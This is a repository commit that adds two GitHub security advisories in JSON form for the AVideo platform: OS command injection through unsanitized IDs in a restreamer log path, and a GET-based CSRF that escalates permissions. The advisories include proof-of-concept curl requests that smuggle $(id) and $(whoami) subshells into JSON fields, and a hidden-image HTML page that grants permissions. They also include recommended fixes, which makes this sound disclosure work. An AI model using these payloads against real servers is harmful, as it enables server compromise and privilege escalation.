Skip to content

Commit 2ef8beb

Browse files
1 parent 803a7e7 commit 2ef8beb

2 files changed

Lines changed: 126 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5m4q-5cvx-36mw",
4+
"modified": "2026-03-25T17:47:21Z",
5+
"published": "2026-03-25T17:47:21Z",
6+
"aliases": [
7+
"CVE-2026-33648"
8+
],
9+
"summary": "AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path",
10+
"details": "## Summary\n\nThe restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.\n\n## Details\n\nThe vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:\n\n**1. User input ingestion** (line 220):\n```php\n$request = file_get_contents(\"php://input\");\n$robj = json_decode($request);\n```\n\n**2. Log file template** (line 58):\n```php\n$logFile = $logFileLocation . \"ffmpeg_restreamer_{users_id}_\" . date(\"Y-m-d-h-i-s\") . \".log\";\n```\n\n**3. `users_id` injected without sanitization** (line 318):\n```php\n$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);\n```\n\n**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):\n```php\n$pid[] = startRestream($m3u8, [$value], str_replace(\".log\", \"_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log\", $logFile), $robj);\n```\n\nNote: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.\n\n**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):\n```php\n// Line 720 (remote ffmpeg path):\nexecFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723 (direct execution fallback):\nexec($command . ' > ' . $logFile . ' 2>&1 &');\n```\n\nThe code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.\n\n## PoC\n\n**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.\n\n**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.\n\n**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:\n\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"token\": \"VALID_TOKEN\",\n \"m3u8\": \"https://example.com/stream.m3u8\",\n \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n \"restreamsToken\": [\"VALID_TOKEN\"],\n \"users_id\": \"x$(id > /tmp/pwned)x\",\n \"liveTransmitionHistory_id\": \"1\"\n }'\n```\n\n**Step 3:** The resulting exec call becomes:\n```\nffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &\n```\n\nThe `$()` subshell executes `id > /tmp/pwned` before the redirection is processed.\n\n**Step 4:** Verify command execution:\n```bash\ncurl -k \"https://TARGET/tmp/pwned\"\n# Expected: output of `id` command showing the web server user\n```\n\nThe same vector works through `liveTransmitionHistory_id`:\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"token\": \"VALID_TOKEN\",\n \"m3u8\": \"https://example.com/stream.m3u8\",\n \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n \"restreamsToken\": [\"VALID_TOKEN\"],\n \"users_id\": \"1\",\n \"liveTransmitionHistory_id\": \"1$(whoami > /tmp/pwned2)1\"\n }'\n```\n\n## Impact\n\nAn authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:\n\n- **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files)\n- **Data exfiltration**: Accessing the AVideo database and all user data\n- **Lateral movement**: Using the compromised server as a pivot point\n- **Service disruption**: Killing processes, modifying or deleting files\n- **Persistent backdoor**: Installing web shells or cron jobs for ongoing access\n\nThe authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.\n\n## Recommended Fix\n\nSanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution.\n\n**In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:**\n\n```php\n$robj = json_decode($request);\n// Sanitize fields that will be used in file paths and shell commands\nif (isset($robj->users_id)) {\n $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);\n}\nif (isset($robj->liveTransmitionHistory_id)) {\n $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);\n}\n```\n\n**At lines 720 and 723, use `escapeshellarg()` on the log file path:**\n\n```php\n// Line 720:\nexecFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723:\nexec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');\n```\n\nBoth fixes should be applied — input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5m4q-5cvx-36mw"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33648"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/99b865413172045fef6a98b5e9bfc7b24da11678"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-78"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-25T17:47:21Z",
63+
"nvd_published_at": "2026-03-23T19:16:40Z"
64+
}
65+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-g8x9-7mgh-7cvj",
4+
"modified": "2026-03-25T17:48:17Z",
5+
"published": "2026-03-25T17:48:17Z",
6+
"aliases": [
7+
"CVE-2026-33649"
8+
],
9+
"summary": "AVideo's GET-Based CSRF in setPermission.json.php Enables Privilege Escalation via Arbitrary Permission Modification",
10+
"details": "## Summary\n\nThe `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access.\n\n## Details\n\nThe root cause is a combination of three issues:\n\n**1. `$_REQUEST` used instead of `$_POST` (accepts GET parameters):**\n\n`plugin/Permissions/setPermission.json.php:14-24`:\n```php\n$intvalList = array('users_groups_id','plugins_id','type','isEnabled');\nforeach ($intvalList as $value) {\n if($_REQUEST[$value]==='true'){\n $_REQUEST[$value] = 1;\n }else{\n $_REQUEST[$value] = intval($_REQUEST[$value]);\n }\n}\n\n$obj = new stdClass();\n$obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']);\n```\n\nThe only authorization check is `User::isAdmin()` at line 10 — there is no CSRF token validation via `isGlobalTokenValid()`.\n\n**2. Session cookies set to `SameSite=None`:**\n\n`objects/include_config.php:134-141`:\n```php\nif ($isHTTPS) {\n // SameSite=None is intentional: AVideo supports cross-origin iframe embedding\n ini_set('session.cookie_samesite', 'None');\n ini_set('session.cookie_secure', '1');\n}\n```\n\nThis means the admin's session cookie is sent on cross-origin requests, including those initiated by `<img src=\"...\">` tags on attacker-controlled pages.\n\n**3. The codebase's own security model requires CSRF tokens on state-mutating endpoints:**\n\nThe comment at `include_config.php:137-138` states: *\"All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* Other endpoints like `saveSort.json.php` and `pluginImport.json.php` enforce `isGlobalTokenValid()`, but `setPermission.json.php` does not.\n\n**Execution flow:**\n1. Attacker hosts a page containing `<img src=\"https://target/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true\">`\n2. Admin visits the page (e.g., via link in forum, email, or embedded content)\n3. Browser issues GET request with the admin's `SameSite=None` session cookie\n4. `User::isAdmin()` passes because the request carries the admin's session\n5. `Permissions::setPermission()` grants PERMISSION_FULLACCESSVIDEOS (type=10) to user group 2\n6. Any user in group 2 (including the attacker) now has full video admin access\n\nThe `users_groups_id` values are small sequential integers (typically 1-3 for default groups) and can be trivially enumerated.\n\n## PoC\n\n**Step 1: Attacker creates a page granting multiple permissions to their user group (ID 2):**\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Interesting Video</title></head>\n<body>\n<h1>Check out this video!</h1>\n<!-- Each img tag silently fires a GET request with admin's session cookie -->\n<!-- PERMISSION_FULLACCESSVIDEOS (type=10) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'>\n<!-- PERMISSION_USERS (type=20) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'>\n<!-- PERMISSION_CAN_UPLOAD_VIDEOS (type=70) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=70&isEnabled=true' style='display:none'>\n<!-- PERMISSION_CAN_LIVESTREAM (type=80) -->\n<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=80&isEnabled=true' style='display:none'>\n</body>\n</html>\n```\n\n**Step 2: Attacker sends the link to an admin (social engineering, forum post, etc.)**\n\n**Step 3: When the admin loads the page, all four `<img>` tags fire simultaneously.**\n\nExpected response for each request (visible in browser dev tools):\n```json\n{\"id\":\"1\"}\n```\n\n**Step 4: Verify — the attacker (a regular user in group 2) now has full video management, user management, upload, and livestream permissions without being an admin.**\n\n## Impact\n\n- **Privilege escalation:** A low-privileged user can gain near-admin permissions (full video access, user management, upload, livestream) by tricking an admin into loading a single page.\n- **No JavaScript required:** The attack uses only `<img>` tags, bypassing Content Security Policy restrictions and working even in contexts where scripts are blocked (email clients, forum BBCode, etc.).\n- **Zero interaction beyond page load:** Unlike POST-based CSRF that requires form submission or JavaScript, this fires automatically when the page renders.\n- **Chaining:** Multiple permissions can be granted simultaneously by embedding multiple `<img>` tags. An attacker can grant their group all available permission types in a single page load.\n- **Blast radius:** All users in the targeted group receive the escalated permissions, not just the attacker.\n\n## Recommended Fix\n\nIn `plugin/Permissions/setPermission.json.php`, change `$_REQUEST` to `$_POST` and add CSRF token validation:\n\n```php\n<?php\n\nheader('Content-Type: application/json');\nif (!isset($global['systemRootPath'])) {\n $configFile = '../../videos/configuration.php';\n if (file_exists($configFile)) {\n require_once $configFile;\n }\n}\nif(!User::isAdmin()){\n forbiddenPage(\"Not admin\");\n}\n\n// Enforce POST method and CSRF token\nif ($_SERVER['REQUEST_METHOD'] !== 'POST') {\n die(json_encode(array('error' => 'POST method required')));\n}\nif (!isGlobalTokenValid()) {\n die(json_encode(array('error' => 'Invalid CSRF token')));\n}\n\n$intvalList = array('users_groups_id','plugins_id','type','isEnabled');\nforeach ($intvalList as $value) {\n if($_POST[$value]==='true'){\n $_POST[$value] = 1;\n }else{\n $_POST[$value] = intval($_POST[$value]);\n }\n}\n\n$obj = new stdClass();\n$obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']);\n\ndie(json_encode($obj));\n```\n\nThe AJAX call in `getPermissionsFromPlugin.html.php:84-92` already uses `type: 'post'` but must also send the `globalToken` parameter in its data payload.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g8x9-7mgh-7cvj"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33649"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/WWBN/AVideo"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-352"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-25T17:48:17Z",
59+
"nvd_published_at": "2026-03-23T19:16:41Z"
60+
}
61+
}

0 commit comments

Comments
 (0)